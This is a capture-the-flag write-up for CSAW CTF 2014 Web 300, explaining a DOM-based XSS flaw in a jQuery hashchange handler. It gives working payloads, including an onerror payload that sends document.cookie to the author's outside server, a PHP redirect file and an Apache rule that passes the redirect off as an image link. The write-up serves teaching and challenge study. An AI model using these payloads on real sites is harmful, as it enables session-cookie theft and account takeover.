CSAW CTF 2014 – Web 300 – hashes writeup

The goal of this challenge was to grab a cookie which contain the flag, but we don't know it yet.
The website has a form to send links of images.

Find a vulnerability

After a quick look at the source code of the page something come obvious, there is a XSS vulnerability caused by jQuery.

```
<script type="text/javascript">
    $(window).bind( 'hashchange', function(e) {
        $('.image').hide()
        tag = window.location.hash
        $(tag).show()
    });
    tag = window.location.hash
    $(tag).show()
</script>
```

You can trigger a simple alert by adding some code in the url.
`http://54.86.199.163:7878/#<img src=/ onerror=alert(1)>`

Exploit

So as we said before the goal is to grab a cookie on the target machine.
To do so we will use the XSS vulnerability.

This url will bounce the target to the attacker website with the cookie as argument.
`http://54.86.199.163:7878/#<img src=/ onerror=location.href=("http://wiremask.eu/test.php?c="+document.cookie)>`

But we can't submit this url as a link to an image. What we did is pretty simple we created a PHP file *http://wiremask.eu/test.php* which redirects to our XSS.

```
<?php
    header('Location: http://54.86.199.163:7878/#<img src=/
onerror=location.href=("http://wiremask.eu/test.php?
c="+document.cookie)>');
?>
```

We also created a Apache rule to
redirect `http://wiremask.eu/test.jpg` to`http://wiremask.eu/test.php`.

Exploitation

Submit the fake link `http://wiremask.eu/test.jpg`.

The target will hit `http://wiremask.eu/test.jpg` which in fact

is`http://wiremask.eu/test.php`
then will be redirected to `http://54.86.199.163:7878/#<img src=/ onerror=location.href=("http://wiremask.eu/test.php?c="+document.cookie)>`
and finally the XSS will redirect the target to `http://wiremask.eu/test.php?c` with the cookie as parameter.

You can read the flag in apache logs or customize your php script to save the cookie in a file.